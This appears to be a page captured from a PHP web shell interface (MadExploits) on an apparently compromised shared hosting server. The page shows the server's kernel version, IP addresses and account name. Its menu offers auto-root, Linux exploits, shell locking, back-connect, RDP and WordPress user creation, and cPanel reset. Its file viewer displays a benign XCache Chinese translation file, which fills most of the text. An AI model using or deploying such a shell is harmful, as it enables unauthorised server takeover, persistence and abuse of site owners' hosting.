Linux premium180.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
LiteSpeed
: 162.0.209.168 | : 216.73.216.187
Cant Read [ /etc/named.conf ]
8.3.30
nortrmdp
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
opt /
alt /
php55 /
usr /
share /
xcache_3 /
diagnosis /
lang /
[ HOME SHELL ]
Name
Size
Permission
Action
en.php
64
B
-rw-r--r--
en.po
7.54
KB
-rw-r--r--
zh-simplified.php
7.94
KB
-rw-r--r--
zh-simplified.po
11.13
KB
-rw-r--r--
zh-traditional.php
64
B
-rw-r--r--
zh-traditional.po
7.54
KB
-rw-r--r--
zh-tranditional.php
0
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : zh-simplified.po
msgid "" msgstr "" "Report-Msgid-Bugs-To: \n" "POT-Creation-Date: 2013-07-08 14:41+0800\n" "Language: zh\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" #: diagnosis.tpl.php:4 msgid "Diagnosis Result" msgstr "诊断结果" #: diagnosis.tpl.php:8 msgid "Item" msgstr "项目" #: diagnosis.tpl.php:11 msgid "Level" msgstr "级别" #: diagnosis.tpl.php:14 msgid "Result" msgstr "结果" #: diagnosis.tpl.php:17 msgid "Explanation/Suggestion" msgstr "解释/建议" #: index.php:77 msgid "XCache extension" msgstr "XCache extension" #: index.php:81 #, php-format msgid "Add extension=xcache.so (or xcache.dll) in %s" msgstr "在 %s 增加 extension=xcache.so (或 xcache.dll)" #: index.php:84 #, php-format msgid "" "Please put a php.ini in %s and add extension=xcache.so (or xcache.dll) in it" msgstr "" "请在 %s 里放个 php.ini 并且在文件内写入 extension=xcache.so (或 xcache.dll)" #: index.php:87 msgid "Cannot detect php.ini location" msgstr "无法检测 php.ini 位置" #: index.php:89 msgid "(See above)" msgstr "(参见上面)" #: index.php:90 msgid "Not loaded" msgstr "未载入" #: index.php:90 index.php:129 index.php:135 index.php:290 index.php:308 #: index.php:373 index.php:405 index.php:408 msgid "error" msgstr "错误" #: index.php:93 msgid "Loaded" msgstr "已载入" #: index.php:93 index.php:141 index.php:158 index.php:175 index.php:189 #: index.php:200 index.php:216 index.php:252 index.php:269 index.php:278 #: index.php:296 index.php:314 index.php:337 index.php:352 index.php:378 #: index.php:385 index.php:392 index.php:399 index.php:413 msgid "info" msgstr "信息" #: index.php:124 msgid "Enabling PHP Cacher" msgstr "启用 PHP 缓存器" #: index.php:126 index.php:146 index.php:149 index.php:163 index.php:166 #: index.php:180 index.php:207 index.php:221 index.php:258 index.php:275 #: index.php:305 index.php:323 index.php:343 msgid "skipped" msgstr "跳过" #: index.php:130 index.php:184 index.php:279 msgid "Not enabled" msgstr "尚未启用" #: index.php:131 msgid "" "Your PHP pages is not accelerated by XCache. Set xcache.size to non-zero, " "set xcache.cacher = On" msgstr "" "XCache 并未对您的 PHP 网页起到加速作用. 设置 xcache.size 为非 0, 设置 xcache." "cacher = On" #: index.php:136 msgid "No php script cached" msgstr "未缓存任何 PHP 脚本" #: index.php:137 msgid "Your PHP pages is not accelerated by XCache. Set xcache.cacher = On" msgstr "XCache 并未对您的 PHP 网页起到加速作用. 设置 xcache.cacher = On" #: index.php:141 index.php:189 index.php:297 index.php:315 index.php:347 msgid "Enabled" msgstr "已启用" #: index.php:144 msgid "PHP Compile Time Error" msgstr "PHP 编译时错误" #: index.php:152 index.php:169 index.php:183 index.php:193 index.php:210 #: index.php:238 index.php:246 index.php:261 index.php:329 index.php:346 msgid "warning" msgstr "警告" #: index.php:153 msgid "Error happened when compiling one or some of your PHP code" msgstr "至少在编译一个或多个您的 PHP 代码时发生编译错误" #: index.php:154 msgid "" "PHP code failed to be compiled cannot be cached. This usually means there " "was syntax error in your PHP code. Enable PHP error_log to see what parser " "error is it, fix your code. This warning won't go away until PHP is restarted" msgstr "" "编译失败的 PHP 代码是无法缓存的. 这通常意味着您的 PHP 代码有语法错误. 请启用 " "error_log 调查具体错误原因并修复您的代码. 重启 PHP 前这个警告不会消失" #: index.php:158 msgid "No error happened" msgstr "未发生过错误" #: index.php:161 msgid "Busy Compiling" msgstr "忙着编译" #: index.php:170 msgid "Cache marked as busy for compiling" msgstr "编译中, 缓存标记为忙" #: index.php:171 msgid "" "It's ok if this status don't stay for long. Otherwise, it could be a sign of " "PHP crash/coredump, report to XCache devs" msgstr "" "这个状态如果持续不就则无影响. 否则可能标志着 PHP 曾经发生异常退出, 如果是的话" "请报告给 XCache 开发组" #: index.php:175 index.php:269 index.php:337 msgid "Idle" msgstr "空闲" #: index.php:178 msgid "Enabling VAR Cacher" msgstr "启用 VAR 缓存器" #: index.php:185 #, fuzzy msgid "" "PHP code that use XCache caching backend have to use other caching backend " "instead. Set xcache.var_size to non-zero if you have any PHP code that can " "use XCache Data Caching API" msgstr "" "支持使用 XCache 作为数据缓存器的 PHP 代码将不得不采用其他缓存器代替. 如果您有" "代码支持 XCache 缓存 API 的话, 您可以设置 xcache.var_size 为非 0" #: index.php:191 msgid "Using VAR Cacher" msgstr "使用 VAR 缓存器" #: index.php:194 msgid "No variable data cached" msgstr "未缓存任何变量数据" #: index.php:195 msgid "" "Var Cacher won't work simply by enabling it. PHP code must call XCache APIs " "like xcache_set() to use it as cache backend. 3rd party web apps may come " "with XCache support, config it to use XCache as caching backend" msgstr "" "只启用变量数据缓存器并无法将其利用起来. 必须通过 PHP 代码去调用 XCache API 接" "口(如 xcache_set() 函数) 将 XCache 作为缓存器. 第三方网页软件可能带有 XCache " "支持, 留意其中的设置启用 XCache 作为缓存器" #: index.php:200 msgid "Cache in use" msgstr "缓存使用中" #: index.php:205 msgid "Cache Size" msgstr "缓存大小" #: index.php:211 msgid "Out of memory happened when trying to write to cache" msgstr "存入缓存时发生内存不足" #: index.php:212 msgid "Increase xcache.size and/or xcache.var_size" msgstr "加大 xcache.size 或 xcache.var_size" #: index.php:216 msgid "Enough" msgstr "充足" #: index.php:219 msgid "Hash Slots" msgstr "哈希槽" #: index.php:239 msgid "Slots value too big" msgstr "哈希槽设定太大" #: index.php:240 #, php-format msgid "" "A very small value is set to %s value and leave %s value is too big.\n" "Decrease %s if small cache is really what you want" msgstr "" "设置给 %s 的值很小, 却采用过大的 %s. 如果您的确想要配置占用很少内存的缓存器, " "可减少 %s" #: index.php:247 msgid "Slots value too small" msgstr "哈希槽设定太小" #: index.php:248 #, php-format msgid "So many item are cached. Increase %s to a more proper value" msgstr "相当多的项目缓存了. 请适量加大 %s" #: index.php:252 index.php:378 index.php:399 index.php:413 msgid "Looks good" msgstr "看起来还行" #: index.php:256 msgid "Cache Status" msgstr "缓存状态" #: index.php:262 msgid "At least one of the caches is disabled. " msgstr "至少一个缓存器是禁止状态" #: index.php:263 msgid "Enable the cache." msgstr "启用已禁止的缓存器." #: index.php:264 msgid "" "It was disabled by PHP crash/coredump handler or you disabled it manually." msgstr "可能是在 PHP 异常退出时自动标记为禁止了, 或者您手工禁止了" #: index.php:264 msgid "You disabled it manually." msgstr "您手工禁止了" #: index.php:265 msgid "If it was caused by PHP crash/coredump, report to XCache devs" msgstr "如果是由于 PHP 异常退出造成, 请报告给 XCache 开发组" #: index.php:273 msgid "Coredump Directory" msgstr "Coredump 目录" #: index.php:280 msgid "" "Enable coredump to save debugging information in case when PHP crash. It can " "also be enabled in other module like php-fpm beside XCache" msgstr "" "启用 coredump 设置. 这样万一发生 PHP 异常退出时可保存调试信息. 这个功能也可以" "在其他地方启用, 如 php-fpm" #: index.php:291 msgid "Core files found:\n" msgstr "发现 core 文件:\n" #: index.php:292 msgid "" "Disable XCache PHP Cacher (set xcache.size=0), remove the core file(s), then " "restart PHP. If core file appears again, report call stack backtrace in the " "core to XCache devs" msgstr "" "禁止 XCache 缓存器 (设置 xcache.size=0), 删除 Core 文件, 再重启 PHP. 如果不" "用 XCache 时不出现 Core, 请从 Core 中取得 call stack back trace 信息报告回 " "XCache 开发组" #: index.php:298 #, php-format msgid "You can see core files if PHP crash in %s if PHP crash" msgstr "如果 PHP 异常退出, 您可以在 %s 目录看到 Core 文件" #: index.php:303 msgid "Readonly Protection" msgstr "只读保护" #: index.php:309 msgid "Set to enabled but not available" msgstr "设置为启用, 但目前不可用" #: index.php:310 msgid "Use xcache.mmap_path other than /dev/zero" msgstr "设置 xcache.mmap_path 使用 /dev/zero 以外的值" #: index.php:315 index.php:352 msgid "Disabled" msgstr "已禁止" #: index.php:316 msgid "" "Enable readonly_protection == --performance & ++stability. Disable " "readonly_protection == ++performance & --stability" msgstr "" "启用 readonly_protection == --性能 & ++稳定性. 禁用 readonly_protection == +" "+性能 & --稳定性" #: index.php:321 msgid "XCache modules" msgstr "XCache 模块" #: index.php:331 msgid "" "Acceptable. Module(s) listed are built into XCache but not for production " "server.\n" "Leave it as is if you're feeling good.\n" "Re-configure XCache with the module(s) disabled if you're strict with server " "security." msgstr "" "可接受. 以上列出的模块已编译入 XCache, 但这些模块并非用于产业服务器.\n" "如果您觉得没大碍, 就保持现状.\n" "如果您对稳定性/安全性要求极其严格, 建议重新编译 XCache 不启用这些模块\n" #: index.php:341 msgid "XCache test setting" msgstr "XCache 测试设置" #: index.php:348 msgid "xcache.test is for testing only, not for server. set it to off" msgstr "xcache.test 仅用于开发测试用, 不用于服务器. 将它设置为 off" #: index.php:355 msgid "PHP Version" msgstr "PHP 版本" #: index.php:374 msgid "The version of PHP you're using is known to be unstable: " msgstr "您所使用的 PHP 版本, 是众所周知的不稳定版本: " #: index.php:375 msgid "Upgrade to new version of PHP" msgstr "升级到更新的 PHP 版本" #: index.php:381 msgid "Extension Compatibility" msgstr "Extension 兼容性" #: index.php:386 msgid "Zend Optimizer loaded" msgstr "Zend Optimizer 载入了" #: index.php:387 msgid "" "Optimizer feature of 'Zend Optimizer' is disabled by XCache due to " "compatibility reason; the Loader of it is still available, encoded files are " "still supported" msgstr "" "由于兼容性问题, 'Zend Optimizer' 的优化器已被 XCache 禁止; 其加载器依然可用, " "可继续使用 Zend 加密的文件" #: index.php:393 msgid "the ionCube PHP Loader loaded" msgstr "" #: index.php:394 msgid "" "Compatibility with this the ionCube PHp Loader' is taken care of; But in " "case if there's any problem, report to ionCube team and/or XCache devs" msgstr "" #: index.php:402 msgid "SAPI Compatibility" msgstr "Extension 兼容性" #: index.php:405 msgid "CGI is not supported" msgstr "不支持 CGI" #: index.php:405 msgid "Use FastCGI or FPM instead" msgstr "请改用 FastCGI 或者 FPM" #: index.php:410 msgid "" "PHP_FCGI_CHILDREN should be >= 1 and use 1 group of parent/childs model. See " "http://xcache.lighttpd.net/wiki/Faq" msgstr "" "PHP_FCGI_CHILDREN 应该设为 >= 1 并且使用 1 组单父多子模型. 参见 http://" "xcache.lighttpd.net/wiki/Faq"
Close